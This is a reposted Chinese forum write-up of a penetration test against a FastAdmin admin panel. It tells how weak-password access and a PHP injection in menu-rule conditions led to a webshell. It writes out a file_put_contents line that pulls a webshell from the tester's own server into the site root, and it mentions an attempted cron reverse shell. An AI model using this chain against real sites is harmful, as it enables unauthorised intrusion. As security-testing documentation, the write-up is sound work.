安全矩阵

 找回密码
 立即注册
搜索
查看: 1066|回复: 0

记一次FastAdmin后台Getshell

[复制链接]

251

主题

270

帖子

1783

积分

金牌会员

Rank: 6Rank: 6

积分
1783
发表于 2022-10-23 17:53:05 | 显示全部楼层 |阅读模式
本帖最后由 Meng0f 于 2022-10-23 17:55 编辑

转载于:culprit 潇湘信安 2022-10-21 08:30 发表于湖南
FastAdmin介绍
FastAdmin是基于ThinkPHP5和Bootstrap的极速后台开发框架,基于ThinkPHP行为功能实现的插件机制,拥有丰富的插件和扩展,可直接在线安装卸载。

基于完善的Auth权限控制管理、无限父子级权限分组、可自由分配子级权限、一个管理员可同时属于多个组别。


测试过程
在某次HVV的打点过程中,发现某资产为FastAdmin搭建。下图为FastAdmin的报错页面,根据经验可判断该网站为FastAdmin搭建。

输入admin.php进入后台登录页面,弱口令进入后台。

进入后台找功能点getshell。后台默认会有插件管理功能,但是我们在后台没有找到这个功能,我们直接访问插件管理的地址


/admin/addon?ref=addtabs

理论上离线安装 Fileix文件管理器 ,然后上传一句话木马就可以getshell,但是很可惜失败了。

接着翻后台,发现有定时任务功能,尝试反弹shell,写入反弹shell的语句后,在服务器上nc监听等待回连,但是发现并没有执行。

后面一看之前管理员设置过的定时任务也没有执行过,失败!

继续翻后台,发现在菜单规则中可以创建规则条件,尝试在功能点中写入phpinfo()。
必须写在权限管理中!!!

然后来到管理员管理中,添加一个管理员。
所属组别必须为二级管理员组!!!

添加完成之后,重新用新添加的账户登录后台,可以发现phpinfo()被成功执行。

通过搜索$_SERVER[‘DOCUMENT_ROOT’]获取网站根目录,为/www/wwwroot/xxxxxxxxx/

找到根路径后注销账户,准备一个webshell木马名为1.php,放在自己的服务器上,使用python启动一个临时web。


python3 -m http.server 8080

在回到管理后台当中,在同样的位置写入如下语句,将远程服务器的webshell木马下载到网站根目录。


file_put_contents('/www/wwwroot/xxxxxxxxx/shell.php',file_get_contents('临时web地址/1.php'))

保存完成后,再次使用刚才新创建的用户登录

webshell木马已被成功写入。

总结
在打点过程中, 通过指纹识别软件进行指纹识别进行相应的漏洞利用,在未识别出指纹的需人工判断,根据报错页面的样式识别指纹一种较好的方法。

整体打点过程:浏览网站—>发现报错页面指纹为FastAdmin—>通过弱口令进入后台—>规则条件中写入phpinfo()—>获得网站根目录—>规则条件中写入webshell。

文章来源:culprit(语雀)原文地址:https://www.yuque.com/culprit/note/nyvtuz
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-21 00:27 , Processed in 0.015967 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表